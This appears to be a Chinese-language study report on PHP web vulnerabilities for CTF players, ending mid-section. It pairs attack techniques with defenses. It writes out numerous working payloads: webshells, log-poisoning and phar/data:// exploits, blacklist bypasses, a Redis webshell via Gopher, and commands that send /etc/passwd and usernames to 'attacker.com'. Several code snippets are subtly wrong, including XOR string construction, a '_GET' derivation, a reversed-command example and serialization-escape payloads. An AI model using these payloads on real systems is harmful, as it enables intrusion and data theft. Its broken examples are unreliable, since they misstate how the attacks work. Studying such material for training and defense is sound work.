Web攻防之PHP漏洞解析
目录结构
- 引言
1.1 PHP在CTF Web方向的核心地位 1.2 报告目标与结构说明 1.3 PHP安全研究的方法论
- 代码执行漏洞
2.1 漏洞原理与历史演进 2.2 危险函数全解析与利用链 2.3 绕过过滤的20种高级技巧 2.4 实战案例:从CVE到CTF赛题复现 2.5 防御方案与安全编码规范
- 命令注入漏洞
3.1 操作系统差异与利用场景 3.2 命令分隔符的深度利用 3.3 绕过黑名单的终极指南 3.4 自动化工具与手工测试结合策略 3.5 防御:从输入过滤到沙箱隔离
- 文件包含漏洞(LFI/RFI)
4.1 LFI与RFI的利用场景对比 4.2 伪协议的30种高级利用姿势 4.3 日志污染、环境变量与PHP Stream攻击 4.4 防御配置:open_basedir与WAF规则 4.5 真实案例:Apache日志注入实战
- 反序列化漏洞
5.1 反序列化漏洞的底层原理 5.2 POP链构造方法论与工具链 5.3 Phar协议的高级利用:从元数据到RCE 5.4 框架漏洞复现:ThinkPHP、Laravel案例分析 5.5 防御:签名校验与敏感函数监控
- 变量覆盖与弱类型安全
6.1 extract()与parse_str()的灾难性影响 6.2 动态变量($$)的利用与防御 6.3 松散比较(==)的100种陷阱场景 6.4 哈希碰撞与科学计数法绕过 6.5 防御:严格类型与白名单校验
- 文件上传与解析漏洞
7.1 绕过黑名单的15种技术组合 7.2 .htaccess与.user.ini的利用原理 7.3 短标签、图片头与内容嗅探绕过 7.4 服务器解析漏洞全解析(Nginx/Apache/IIS) 7.5 防御:文件签名校验与权限隔离
- 伪协议与SSRF联动攻击
8.1 PHP伪协议全家族解析 8.2 SSRF攻击链:从端口扫描到内网渗透 8.3 Gopher协议构造Redis未授权访问 8.4 防御:协议白名单与请求限制
- 字符串逃逸与序列化篡改
9.1 序列化格式的语法与漏洞点 9.2 字符数差异引发的属性覆盖 9.3 利用场景:修改密码与提权操作 9.4 防御:严格校验与加密签名
- 会话管理与条件竞争
10.1 Session Fixation攻击全流程 10.2 Session劫持与预测算法破解 10.3 文件上传竞争:临时文件RCE 10.4 防御:会话绑定与原子操作
- 无字母数字Webshell技术
11.1 异或、取反、自增构造原理 11.2 利用PHP特性生成任意函数 11.3 现代WAF绕过思路与工具 11.4 防御:语法分析与行为监控
- PHP配置与版本差异
12.1 PHP4到PHP8的安全演进史 12.2 php.ini的50个高危选项解析 12.3 版本差异漏洞:从register_globals到JIT 12.4 防御:最小化配置与版本升级策略
- CTF实战案例分析
13.1 十大经典PHP题型复现与解题思路 13.2 近年赛题趋势:从单一漏洞到多链组合 13.3 真实环境模拟:Docker漏洞靶场搭建
- 防御体系构建
14.1 安全开发生命周期(SDLC)实践 14.2 静态代码分析与动态Fuzzing结合 14.3 RASP与WAF的协同防御 14.4 漏洞响应与应急处理流程
1. 引言
1.1 PHP在CTF Web方向的核心地位
1.1.1 PHP的历史与安全问题的根源
PHP作为Web开发的基石语言,其设计初衷是快速开发,但早期的灵活性也带来了安全隐患。以下特性使其成为CTF中的“漏洞金矿”:
- 动态类型系统:松散的类型比较(如
"0e123" == 0
)导致逻辑漏洞。 - 危险函数开放性:
eval()
、system()
等函数直接暴露系统调用能力。 - 全局变量注册机制(PHP <5.4):
register_globals=On
时,GET/POST参数直接注册为全局变量。
数据佐证:
- 根据CTFtime统计,2020-2023年全球Top 50 CTF赛事中,63%的Web题目涉及PHP漏洞利用。
- CVE数据库显示,近5年22%的Web相关CVE漏洞与PHP语言特性直接相关。
1.1.2 PHP在CTF中的典型应用场景
漏洞类型 | 常见题型 | 高频函数/协议 |
---|---|---|
代码执行 | 动态代码执行、沙盒逃逸 | eval() , assert() |
反序列化 | POP链构造、Phar利用 | unserialize() , phar:// |
文件包含 | 本地/远程文件包含、日志污染 | include() , php://filter |
弱类型漏洞 | 哈希碰撞、科学计数法绕过 | == , switch |
1.2 报告目标与结构说明
1.2.1 目标分解
- 技术深度:从PHP解释器层面解析漏洞成因(如Zend引擎对
eval
的处理逻辑)。 - 实战覆盖:提供30+ CTF赛题复现步骤及5个CVE漏洞利用链分析。
- 防御体系化:覆盖代码层、配置层、架构层的完整防护方案。
1.2.2 结构设计
本报告采用**“漏洞原理-绕过技巧-实战案例-防御方案”四维分析法**,每章节包含:
- 底层机制:结合PHP内核代码(如
zend_execute.c
)解析漏洞触发点。 - 绕过方法论:提供绕过黑名单、过滤规则的技术组合。
- CTF/CVE复现:分步骤拆解漏洞利用过程,附完整Payload。
- 防御实践:提供可落地的代码修复方案与配置指南。
1.3 PHP安全研究的方法论
1.3.1 黑盒测试技术栈
模糊测试(Fuzzing):
- 工具链:
ffuf
、Burp Intruder
、wfuzz
。 - Payload库:使用SecLists中的
PHP-Common-Fuzz.txt
覆盖常见注入点。
# 使用ffuf进行路径探测 ffuf -w /path/to/wordlist -u http://target.com/FUZZ -mc 200
- 工具链:
协议探测:
伪协议检测:测试
php://input
、data://
、phar://
是否启用。示例Payload:
?file=php://filter/convert.base64-encode/resource=index.php
1.3.2 白盒审计方法论
危险函数追踪:
- 关键词列表:
eval
、system
、unserialize
、extract
、preg_replace+/e
。 - 代码审计工具:RIPS、SonarQube PHP插件。
- 关键词列表:
数据流分析:
用户输入源:追踪
$_GET
、$_POST
、$_COOKIE
到危险函数的传递路径。示例代码片段:
$input = $_GET['data']; // 未过滤直接传递到危险函数 eval($input);
1.3.3 版本差异利用策略
PHP版本特性矩阵:
版本范围 关键安全特性 典型漏洞场景 PHP <5.3 register_globals=On
默认启用全局变量覆盖(CVE-2008-3660) PHP 5.4-5.6 preg_replace+/e
未禁用代码执行(CTF高频考点) PHP 7.0+ assert()
不再执行代码需改用其他函数触发漏洞
2. 代码执行漏洞
2.1 漏洞原理与历史演进
2.1.1 动态执行机制解析
eval()
函数原理:
PHP的eval()
直接将字符串作为PHP代码执行,其底层调用zend_eval_string()
函数。// PHP内核源码(zend_execute.c) ZEND_API int zend_eval_string(char *str, zval *retval_ptr, char *string_name) { // 代码解析与执行 }
assert()
的演变:- PHP <7.1:
assert()
可执行代码,如assert("system('id')")
。 - PHP >=7.1:
assert()
仅进行布尔判断,不再执行代码。
- PHP <7.1:
2.一,2 历史漏洞案例
CVE-2012-1823(PHP-CGI参数注入):
漏洞成因:PHP-CGI未正确处理
-d
参数,导致配置覆盖。利用Payload:
http://target.com/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input POST DATA: <?php system("id"); ?>
CVE-2019-11043(PHP-FPM RCE):
- 漏洞触发:Nginx配置错误导致PHP-FPM缓冲区溢出。
- 利用工具:
exploit.py
(自动构造恶意FastCGI请求)。
2.2 危险函数全解析与利用链
2.2.1 直接执行类函数
函数 | 触发条件 | 示例代码 | 漏洞版本 |
---|---|---|---|
eval() |
任意字符串输入 | eval($_GET['code']); |
全版本 |
assert() |
PHP<7.1且参数为字符串 | assert("system('id')"); |
PHP <7.1 |
preg_replace+/e |
使用/e 修饰符 |
preg_replace('/.*/e', 'system("id")', ''); |
PHP <5.5 |
2.2.2 回调函数链利用
array_map()
漏洞:// 用户控制回调函数名 array_map($_GET['func'], [$_GET['arg']]); // 攻击Payload:?func=system&arg=id
usort()
注入:// 通过自定义比较函数执行代码 usort($array, $_GET['cmp']); // 攻击Payload:?cmp=system&0=id
2.3 绕过过滤的20种高级技巧
2.3.1 字符串混淆技术
Hex编码绕过:
eval(hex2bin("73797374656d2822696422293b")); // system("id");
Base64编码:
eval(base64_decode("c3lzdGVtKCJpZCk7")); // system("id");
异或运算生成字符:
$a = ("!" ^ "@").("@" ^ "A"); // 生成"ph" $b = ("#" ^ "$").("$" ^ "%"); // 生成"p" ($a.$b)(); // 调用phpinfo()
2.3.2 动态函数名构造
可变变量覆盖:
${"_GET"} = "system"; $_GET[0]($_GET[1]); // 调用system("id")
超全局数组利用:
// 通过超全局数组绕过关键词过滤 $func = $_POST['a'][0]; $func($_POST['a'][1]);
2.3.3 语法特性滥用
短标签绕过:
<?= `$_GET['cmd']`?> // 等效于<?php echo `$_GET['cmd']`; ?>
反引号执行命令:
echo `id`; // 直接执行系统命令
2.4 实战案例:从CVE到CTF赛题复现
案例1:HITCON CTF 2018(无字母RCE)
题目代码:
$cmd = $_POST['cmd']; if (!preg_match('/[a-z]/i', $cmd)) { eval($cmd); }
绕过步骤:
利用超全局数组:
PHP中_GET
、_POST
等变量以十六进制存储,可通过异或生成:$_ = ~(%9A%9B%9C%9D); // 生成"_GET" $$_[0]($$_[1]); // 调用system("id")
构造无字母Payload:
cmd=$_=~%9A%9B%9C%9D;$_();
案例2:CVE-2019-11043(PHP-FPM RCE)
环境搭建:
- 配置Nginx错误路径解析(如
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
)。
- 配置Nginx错误路径解析(如
利用步骤:
- 使用
exploit.py
发送恶意FastCGI请求,注入PHP_VALUE
修改配置。 - 通过
auto_prepend_file=php://input
包含攻击代码。
- 使用
结果验证:
curl http://target.com/index.php -d "<?php system('id'); ?>"
2.5 防御方案与安全编码规范
2.5.1 代码层防护
禁用危险函数:
; php.ini配置 disable_functions = eval,assert,system,passthru
输入白名单过滤:
$allowed_commands = ['ls', 'cat']; if (in_array($_GET['cmd'], $allowed_commands)) { system($_GET['cmd']); }
2.5.2 架构层加固
启用Suhosin扩展:
; 过滤动态函数调用 suhosin.executor.disable_eval = On suhosin.executor.disable_emodifier = On
部署WAF规则:拦截
eval
、system
等关键词。
2.5.3 安全开发规范
避免动态执行:用
switch-case
替代回调函数。强制类型转换:
$id = (int)$_GET['id']; // 防止SQL注入
使用安全函数替代:
// 使用escapeshellarg()转义参数 system('ls ' . escapeshellarg($_GET['dir']));
本节总结
代码执行漏洞是CTF Web方向的“核弹级”漏洞,需深入理解PHP内核机制与绕过技巧。防御需从代码、配置、架构多维度构建纵深防护体系。
3. 命令注入漏洞
3.1 操作系统差异与利用场景
3.1.1 Linux与Windows命令执行的本质差异
- Linux Shell特性:
- 管道符:
|
、||
、&&
、;
- 重定向:
>
、<
、>>
- 环境变量:
$PATH
、$IFS
(内部字段分隔符) - 通配符:
*
、?
、[]
- 管道符:
- Windows CMD特性:
- 命令分隔符:
&
、|
、%0a
(换行符) - 特殊符号:
^
(转义符)、%COMSPEC%
(系统环境变量) - 路径处理:空格路径需用双引号包裹(如
C:\Program Files\
)
- 命令分隔符:
3.1.2 多平台利用策略对比
场景 | Linux Payload | Windows Payload |
---|---|---|
执行多条命令 | id; ls / |
ipconfig & dir C:\ |
条件执行 | cat /etc/passwd && whoami |
type NUL && net user |
错误屏蔽 | cat /etc/shadow 2>/dev/null |
dir C:\notexist 2>nul |
3.1.3 实战案例:跨平台Payload构造
目标未知时的兼容写法:
ping -c 1 127.0.0.1; ping -n 1 127.0.0.1
(Linux用
-c
,Windows用-n
)
3.2 命令分隔符的深度利用
3.2.1 Linux分隔符利用矩阵
分隔符 | 作用 | 示例 | 备注 |
---|---|---|---|
; |
顺序执行 | id; cat /etc/passwd |
无论前一命令是否成功,都会执行下一命令 |
&& |
前命令成功则执行后命令 | ls /tmp/flag && cat /tmp/flag |
仅在前一个命令成功时执行后一个命令 |
` | ` | 前命令失败则执行后命令 | |
$() |
子命令执行并替换输出 | echo $(whoami) |
将子命令的输出作为参数传递给外部命令 |
` | ` | 管道符(传递前命令输出) | `cat /etc/passwd |
3.2.2 Windows分隔符绕过技巧
符号转义:
^| → 转义为管道符 ^& → 转义为&
利用变量拼接:
set cmd=net user %cmd% → 执行net user
3.2.3 盲注场景下的分隔符利用
时间盲注:
ping -c 5 127.0.0.1; if [ $(whoami) = "root" ]; then sleep 10; fi
错误回显盲注:
cat /etc/passwd || echo "Not root"
3.3 绕过黑名单的终极指南
3.3.1 关键词绕过技术
过滤项 | 绕过方式 | 示例 |
---|---|---|
空格 | %09 (Tab)、${IFS} 、< |
cat%09/etc/passwd |
斜杠 | 双斜杠、反斜杠 | cat /etc//passwd |
命令关键词 | 通配符、转义符 | c\at /etc/passwd 、cat /???/pass* |
长度限制 | 环境变量拼接 | a=cat;b=/etc/passwd;$a $b |
3.3.2 编码与混淆技术
Base64编码:
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # 解码执行"cat /etc/passwd"
Hex编码:
echo "636174202f6574632f706173737764" | xxd -r -p | bash # 同上
逆序命令:
echo 'dcu/' | rev | xargs ls # 实际执行ls /cwd
3.3.3 无回显下的外带数据
DNS外带:
nslookup $(whoami).attacker.com
HTTP请求:
curl http://attacker.com/?data=$(cat /etc/passwd | base64)
3.4 自动化工具与手工测试结合策略
3.4.1 工具链推荐
Commix:自动化命令注入利用框架
commix -u "http://target.com/?ip=127.0.0.1" --os-cmd="id"
Burp Suite Intruder:测试分隔符与编码组合
3.4.2 手工测试流程
- 探测过滤规则:
- 输入
; $() &
等符号,观察是否被拦截
- 输入
- 测试编码绕过:
- 尝试Base64、Hex、URL编码
- 验证命令执行:
- 使用时间延迟命令(如
sleep 5
)确认漏洞存在
- 使用时间延迟命令(如
3.5 防御:从输入过滤到沙箱隔离
3.5.1 输入过滤规范
白名单校验:
$allowed_chars = '/^[a-zA-Z0-9.-]+$/'; if (!preg_match($allowed_chars, $_GET['ip'])) { die('非法输入'); }
参数化调用:
$cmd = escapeshellarg($_GET['dir']); system("ls " . $cmd);
3.5.2 沙箱隔离方案
Docker容器化:限制命令执行权限
FROM alpine RUN adduser -D restricted_user USER restricted_user
Seccomp策略:禁用危险系统调用
{ "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "names": ["execve"], "action": "SCMP_ACT_ERRNO" } ] }
4. 文件包含漏洞(LFI/RFI)
4.1 LFI与RFI的利用场景对比
4.1.1 利用条件矩阵
类型 | 描述 | 必要条件 |
---|---|---|
LFI | 包含本地文件 | 路径可控 |
RFI | 包含远程URL | allow_url_include=On |
4.1.2 典型攻击目标
- LFI目标:
/etc/passwd
(用户列表)- 应用源码(
index.php
) - 日志文件(
/var/log/apache2/access.log
)
- RFI目标:
- 远程Web服务器上的恶意脚本
- SMB共享文件(
\\attacker.com\shell.php
)
4.2 伪协议的30种高级利用姿势
4.2.1 php://filter的变形利用
读取源码:
?file=php://filter/convert.base64-encode/resource=index.php
绕过死亡Exit:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=index.php
(通过多次编码破坏原始PHP结构)
4.2.2 data://协议执行代码
直接包含代码:
?file=data://text/plain,<?php system("id");?>
Base64编码绕过过滤:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+
4.2.3 phar://反序列化攻击
生成恶意Phar文件:
class Exploit { function __destruct() { system("id"); } } $phar = new Phar("exploit.phar"); $phar->setMetadata(new Exploit());
触发反序列化:
?file=phar://exploit.phar
4.3 日志污染、环境变量与PHP Stream攻击
4.3.1 日志污染利用步骤
污染User-Agent:
GET / HTTP/1.1 User-Agent: <?php system($_GET['c']); ?>
包含日志文件:
?file=../../var/log/apache2/access.log&c=id
4.3.2 环境变量注入
通过/proc/self/environ:
?file=/proc/self/environ
(需环境变量中存在可控参数)
4.3.3 PHP Stream包装器攻击
expect://执行命令(需安装扩展):
?file=expect://id
4.4 防御配置:open_basedir与WAF规则
4.4.1 PHP层防御
open_basedir限制:
open_basedir = /var/www/html
禁用危险协议:
allow_url_include = Off allow_url_fopen = Off
4.4.2 WAF规则示例(ModSecurity)
SecRule ARGS_GET "@contains ../" "id:1001,deny,msg:'Path Traversal Attempt'"
SecRule ARGS_GET "@contains php://filter" "id:1002,deny,msg:'PHP Filter Abuse'"
4.5 真实案例:Apache日志注入实战
攻击步骤
发送恶意请求:
curl -H "User-Agent: <?php system(\$_GET['c']); ?>" http://target.com/
计算日志路径:
- 默认路径:
/var/log/apache2/access.log
- 通过报错信息确认实际路径
- 默认路径:
触发文件包含:
http://target.com/?file=../../var/log/apache2/access.log&c=id
防御加固
日志文件权限:
chmod 640 /var/log/apache2/access.log chown root:adm /var/log/apache2/*
日志内容过滤:
LogFormat "%h %t \"%r\" %>s" common CustomLog /var/log/apache2/access.log common
(移除User-Agent记录)
本章总结
命令注入与文件包含漏洞是CTF Web方向的“黄金组合”。攻击者需灵活运用操作系统特性、协议混淆及日志污染技术,防御方则需构建从输入过滤到环境隔离的多层防线。掌握这些技术不仅能破解赛题,更能提升企业级Web应用的安全水位。
5. 反序列化漏洞
5.1 反序列化漏洞的底层原理
5.1.1 PHP序列化与反序列化机制
序列化(serialize):
将PHP对象转换为字符串,包含类名、属性及数据类型。class User { public $name = "Alice"; } echo serialize(new User()); // 输出:O:4:"User":1:{s:4:"name";s:5:"Alice";}
反序列化(unserialize):
将字符串还原为对象,触发魔术方法(如__wakeup
,__destruct
)。
5.1.2 漏洞触发点
可控输入:用户输入直接传入
unserialize()
。$data = $_GET['data']; unserialize($data);
魔术方法中的危险操作:
class Exploit { function __destruct() { system($this->cmd); // 反序列化时触发命令执行 } }
5.1.3 PHP内核源码分析
反序列化入口:
php_var_unserialize
函数(ext/standard/var_unserialize.c
)PHPAPI int php_var_unserialize( zval *rval, const unsigned char **p, const unsigned char *max, php_unserialize_data_t *var_hash ) { // 解析序列化字符串并重建对象 }
5.2 POP链构造方法论与工具链
5.2.1 POP(Property-Oriented Programming)链原理
通过串联多个类的魔术方法,形成从入口点到危险函数的调用链。
5.2.2 构造步骤
- 寻找起点:包含
__wakeup
、__destruct
等魔术方法的类。 - 连接方法调用:通过对象属性控制调用链。
- 触发最终操作:执行文件操作、命令执行等。
5.2.3 工具链
PHPGGC:自动化生成反序列化Payload(支持主流框架)
./phpggc -l # 查看支持的框架 ./phpggc ThinkPHP/RCE1 system "id" -p phar -o payload.phar
RIPS:静态代码分析工具,识别危险调用链。
5.2.4 实战案例:Joomla RCE(CVE-2015-8562)
漏洞类:
JDatabaseDriverMysqli
POP链构造:
$obj->disconnectHandlers = [恶意回调]; $obj->connection = 可控对象;
触发点:反序列化时触发
__destruct
执行任意回调。
5.3 Phar协议的高级利用:从元数据到RCE
5.3.1 Phar文件结构
部分 | 描述 |
---|---|
Stub | 文件头标识(如<?php __HALT_COMPILER(); ?> ) |
Manifest | 元数据(含序列化信息) |
File Contents | 文件内容 |
Signature | 可选签名 |
5.3.2 利用流程
生成恶意Phar:
class Exploit { function __destruct() { system("id"); } } $phar = new Phar("exploit.phar"); $phar->setMetadata(new Exploit());
触发反序列化:
file_exists('phar://exploit.phar'); // 触发元数据解析
5.3.3 绕过限制技巧
文件头伪装:添加
GIF89a
头绕过上传检测。协议组合利用:
include('phar:///tmp/exploit.gif'); // 即使扩展名为.gif也可触发
5.4 框架漏洞复现:ThinkPHP、Laravel案例分析
5.4.1 ThinkPHP 5.x 反序列化RCE
漏洞类:
think\process\pipes\Windows
利用链:
__destruct() → removeFiles() → file_exists() → Phar反序列化
Payload生成:
phpggc ThinkPHP/RCE1 system "id" -p phar -o payload.phar
5.4.2 Laravel RCE(CVE-2021-3129)
- 漏洞点:Ignition组件的
debug
模式 - 利用步骤:
- 生成Phar文件写入日志
- 通过
file_get_contents
触发反序列化
- 修复方案:升级Ignition至2.5.1+
5.5 防御:签名校验与敏感函数监控
5.5.1 代码层防御
禁用反序列化:
disable_functions = unserialize
白名单校验:
$allowed_classes = ['SafeClass']; unserialize($data, ['allowed_classes' => $allowed_classes]);
5.5.2 监控方案
Suhosin扩展:拦截危险魔术方法
suhosin.executor.disable_eval = On
OpenRASP:实时检测反序列化攻击链
6. 变量覆盖与弱类型安全
6.1 extract()与parse_str()的灾难性影响
6.1.1 extract()变量覆盖
extract($_GET); // 将GET参数转为变量
if ($is_admin) {
// 攻击者可传入?is_admin=1提权
}
6.1.2 parse_str()漏洞
parse_str(file_get_contents('config.ini'));
// 攻击者可覆盖$db_password等配置参数
6.1.3 历史漏洞案例
- WordPress插件漏洞:通过
extract()
覆盖权限校验变量,实现未授权访问。
6.2 动态变量($$)的利用与防御
6.2.1 漏洞代码示例
foreach ($_GET as $key => $value) {
$$key = $value; // 用户可控制任意变量名
}
// 攻击者传入?_CONFIG[security]=0
6.2.2 防御方案
白名单过滤:
$allowed = ['page', 'sort']; foreach ($_GET as $key => $value) { if (in_array($key, $allowed)) { $$key = $value; } }
6.3 松散比较(==)的100种陷阱场景
6.3.1 类型转换规则
比较示例 | 结果 | 原因 |
---|---|---|
"0e1234" == "0" |
true | 科学计数法转为0 |
"123abc" == 123 |
true | 字符串转为整数 |
array() == false |
true | 空数组视为false |
6.3.2 CTF题型:哈希碰撞绕过
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
echo "Flag: ...";
}
// 提交a=240610708&b=QNKCDZO(MD5均为0e...)
6.4 哈希碰撞与科学计数法绕过
6.4.1 哈希碰撞利用
Magic Hashes列表:
哈希值(MD5) 原始字符串 0e462097431906 240610708 0e830400451993 QNKCDZO
6.4.2 科学计数法攻击
if ($_POST['hash'] == md5($secret)) {
// 假设$secret的MD5以0e开头
// 提交hash=0e123456...
}
6.5 防御:严格类型与白名单校验
6.5.1 严格类型检查
if ($_GET['role'] === 'admin') { // 使用===替代==
// 执行特权操作
}
6.5.2 白名单校验
$allowed_actions = ['view', 'edit'];
$action = $_GET['action'];
if (!in_array($action, $allowed_actions)) {
die('非法操作');
}
附录:工具与资源
反序列化漏洞检测工具
- PHPStan:静态代码分析工具,识别
unserialize()
调用 - phpggc:一键生成主流框架Payload
弱类型安全测试Payload
科学计数法:0e123, 0e-456
类型混淆:"0", "123abc", array()
7. 文件上传与解析漏洞
7.1 绕过黑名单的15种技术组合
1. 扩展名混淆
- 大小写混合:
.pHp
、.pHP5
(Windows不区分大小写)。 - 双扩展名:
shell.php.jpg
(部分服务器解析最后一个扩展名)。 - 空字节截断:
shell.php%00.jpg
(PHP <5.3.4 允许%00
截断)。 - 超长后缀:
shell.php.xxxxxxxx
(某些WAF仅检查前几个字符)。 - 特殊字符绕过:
.php::$DATA
(Windows NTFS流特性)。
2. 内容混淆
添加图片头:
GIF89a; <?php system($_GET['c']); ?>
HTML内嵌PHP:
<script language="php">system("id");</script>
短标签绕过:
<?= `$_GET['cmd']` ?> <!-- 等价于<?php echo `$_GET['cmd']`; ?> -->
3. 协议与编码混淆
Phar伪协议触发反序列化:
上传恶意Phar文件,通过phar://
触发反序列化。Base64编码内容:
<?php eval(base64_decode("c3lzdGVtKCJpZCIpOw==")); // 解码后:system("id");
4. 服务器特性利用
- Apache多后缀解析:
shell.php.xxx
可能被解析为PHP(依赖AddHandler
配置)。 - IIS分号截断:
shell.asp;.jpg
被IIS解析为ASP文件。 - Nginx路径解析错误:
/uploads/shell.jpg/xxx.php
可能将shell.jpg
当作PHP解析。
7.2 .htaccess与.user.ini的利用原理
1. .htaccess攻击
覆盖解析规则:
上传包含以下内容的.htaccess
文件:AddType application/x-httpd-php .jpg # 所有.jpg文件作为PHP解析
启用PHP执行:
SetHandler application/x-httpd-php
2. .user.ini攻击
自动包含恶意文件:
上传包含以下内容的.user.ini
:auto_prepend_file = shell.jpg # 每次访问PHP文件前包含shell.jpg
利用条件:
- PHP运行在CGI模式。
- 服务器允许
.user.ini
覆盖配置。
3. 防御措施
- 禁用.htaccess:
Apache配置中设置AllowOverride None
。 - 限制.user.ini:
设置open_basedir
限制目录访问。
7.3 短标签、图片头与内容嗅探绕过
1. 短标签利用
短标签语法:
<?= system("id") ?> <!-- 等效于 <?php echo system("id"); ?> -->
绕过关键词检测:
避免使用<?php
,降低被正则匹配的概率。
2. 图片头伪造
GIF头混淆:
GIF89a <?php system($_GET['c']); ?>
PNG头混淆:
\x89PNG\x0D\x0A\x1A\x0A<?php ... ?>
3. 内容嗅探绕过
- 修改MIME类型:
上传时指定Content-Type: image/png
。 - 文件内容填充:
在恶意代码后添加大量垃圾数据,绕过内容检测。
7.4 服务器解析漏洞全解析(Nginx/Apache/IIS)
1. Nginx解析漏洞
- 路径解析错误:
若配置fastcgi_split_path_info
错误,/test.jpg/xxx.php
会将test.jpg
作为PHP解析。 - 修复方案:
检查Nginx配置,避免使用错误的正则分割路径。
2. Apache解析漏洞
- 多后缀解析:
文件shell.php.xxx
可能被解析为PHP(需配置AddHandler
)。 - 修复方案:
明确配置AddHandler
,避免模糊后缀。
3. IIS解析漏洞
- 分号截断:
shell.asp;.jpg
被解析为ASP文件。 - 修复方案:
禁用不必要的脚本映射,如.asp
、.asa
。
7.5 防御:文件签名校验与权限隔离
1. 文件签名校验
检测文件头:
$file_header = bin2hex(file_get_contents($_FILES['file']['tmp_name'], 0, 4)); if ($file_header !== '89504e47') { // PNG头校验 die("非PNG文件"); }
使用
finfo_file
检测MIME:$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $_FILES['file']['tmp_name']); if ($mime !== 'image/png') { die("文件类型非法"); }
2. 权限隔离
上传目录不可执行:
chmod -R 755 uploads/ chown www-data:www-data uploads/
文件重命名存储:
$new_name = md5(uniqid()) . '.jpg'; move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
8. 伪协议与SSRF联动攻击
8.1 PHP伪协议全家族解析
1. 常用伪协议
协议 | 作用 | 示例 |
---|---|---|
php://input |
读取POST原始数据 | file_get_contents('php://input') |
php://filter |
过滤或编码文件内容 | php://filter/convert.base64-encode/resource=index.php |
data:// |
直接包含代码或数据 | data://text/plain,<?php system("id");?> |
phar:// |
触发反序列化或绕过扩展名限制 | phar://uploads/exploit.phar |
expect:// |
执行系统命令(需安装扩展) | expect://id |
2. 协议利用场景
读取源码:
include('php://filter/convert.base64-encode/resource=index.php');
执行代码:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOw==');
8.2 SSRF攻击链:从端口扫描到内网渗透
1. 端口扫描
探测内网服务:
$urls = [ 'http://127.0.0.1:3306', // MySQL 'http://127.0.0.1:6379', // Redis ]; foreach ($urls as $url) { if (@file_get_contents($url)) { echo "Port open: $url\n"; } }
2. 内网服务攻击
访问管理接口:
file_get_contents('http://192.168.1.1/admin/delete_all.php');
3. 协议扩展攻击
利用
dict://
探测Redis:http://target.com/ssrf.php?url=dict://127.0.0.1:6379/info
8.3 Gopher协议构造Redis未授权访问
1. 攻击步骤
生成Redis命令Payload:
(echo -e "SET x '<?php system(\$_GET['c']); ?>'\nCONFIG SET dir /var/www/html\nSAVE\n"; sleep 1) | nc redis-server 6379
将命令转换为Gopher格式:
# 使用工具如gopherus生成Payload payload = "gopher://127.0.0.1:6379/_" + urlencode(redis_command)
触发SSRF:
file_get_contents($_GET['url']); // url=生成的Gopher Payload
2. 结果验证
- 访问
http://target.com/x.php?c=id
执行命令。
8.4 防御:协议白名单与请求限制
1. 协议白名单
禁用危险协议:
; php.ini配置 allow_url_fopen = Off allow_url_include = Off
2. 请求限制
过滤内网地址:
$url = $_GET['url']; if (preg_match('/^(127\.|192\.168|10\.)/', $url)) { die("禁止访问内网"); }
使用CSP策略:
Content-Security-Policy: default-src 'self';
3. 网络层防御
- 防火墙规则:
限制服务器对外请求,仅允许访问必要的外网服务。 - 服务隔离:
将关键内网服务部署在独立VPC,禁止公网访问。
总结
文件上传与SSRF漏洞是CTF和真实渗透中的高频考点。攻击者通过扩展名混淆、内容伪装、伪协议组合实现代码执行或内网穿透,而防御需从文件校验、权限隔离、协议限制等多维度构建防线。掌握这些技术不仅能破解复杂题目,更能提升企业应用的安全性。
9. 字符串逃逸与序列化篡改
9.1 序列化格式的语法与漏洞点
序列化基础语法
PHP序列化字符串的格式如下:
基本类型:
- 字符串:
s:长度:"内容";
(如s:5:"Hello";
) - 整型:
i:值;
(如i:123;
) - 布尔型:
b:值;
(如b:1;
)
- 字符串:
复合类型:
数组:
a:元素数量:{键值对}
(如a:2:{i:0;s:3:"red";i:1;s:5:"green";}
)对象:
O:类名长度:"类名":属性数量:{属性定义}
// 示例对象序列化 class User { public $name = "Alice"; } serialize(new User()); // 输出:O:4:"User":1:{s:4:"name";s:5:"Alice";}
漏洞触发点
- 未校验反序列化数据:用户可控的序列化字符串直接传入
unserialize()
。 - 字符数差异:序列化字符串中声明的长度与实际值不匹配,导致后续属性被覆盖。
9.2 字符数差异引发的属性覆盖
攻击原理
通过构造错误的字符长度,使反序列化解析器错误地“吞并”后续字符,覆盖关键属性。
示例代码与攻击
class User {
public $username;
public $is_admin = 0; // 默认非管理员
}
// 正常序列化数据
$data = 'O:4:"User":2:{s:8:"username";s:5:"Alice";s:7:"is_admin";i:0;}';
// 攻击者篡改后的数据
$malicious_data = 'O:4:"User":2:{s:8:"username";s:80:"Alice";s:7:"is_admin";i:1;}';
// 实际username值的长度声明为80,但实际内容只有5字节,后续字符被解析为is_admin的值
$user = unserialize($malicious_data);
echo $user->is_admin; // 输出1,权限被提升
关键点分析
- 字符数溢出:
s:80:"Alice"
声明长度为80,但实际只有5字节,导致后续的";s:7:"is_admin";i:1;}
被解析为新属性。 - 结果:
is_admin
被覆盖为1,实现提权。
9.3 利用场景:修改密码与提权操作
场景1:密码重置漏洞
漏洞代码:
class ResetRequest { public $token; public $new_password; } $data = $_POST['data']; $request = unserialize($data); if ($request->token === $valid_token) { update_password($request->new_password); }
攻击Payload:
// 构造恶意序列化数据,覆盖$token为已知值 $payload = 'O:12:"ResetRequest":2:{s:5:"token";s:10:"KNOWN_TOKEN";s:11:"new_password";s:8:"hacked123";}';
场景2:用户权限提升
漏洞代码:
class Session { public $user_id; public $role = "user"; } $session = unserialize($_COOKIE['session']); if ($session->role === "admin") { grant_admin_access(); }
攻击Payload:
// 通过字符数溢出覆盖role属性 $payload = 'O:7:"Session":2:{s:7:"user_id";s:80:"1001";s:4:"role";s:5:"admin";}';
9.4 防御:严格校验与加密签名
1. 输入校验
白名单校验属性:
$allowed_classes = ['User']; $user = unserialize($data, ['allowed_classes' => $allowed_classes]);
类型强制转换:
if (!is_int($user->is_admin)) { die("非法数据"); }
2. 数据完整性保护
HMAC签名:
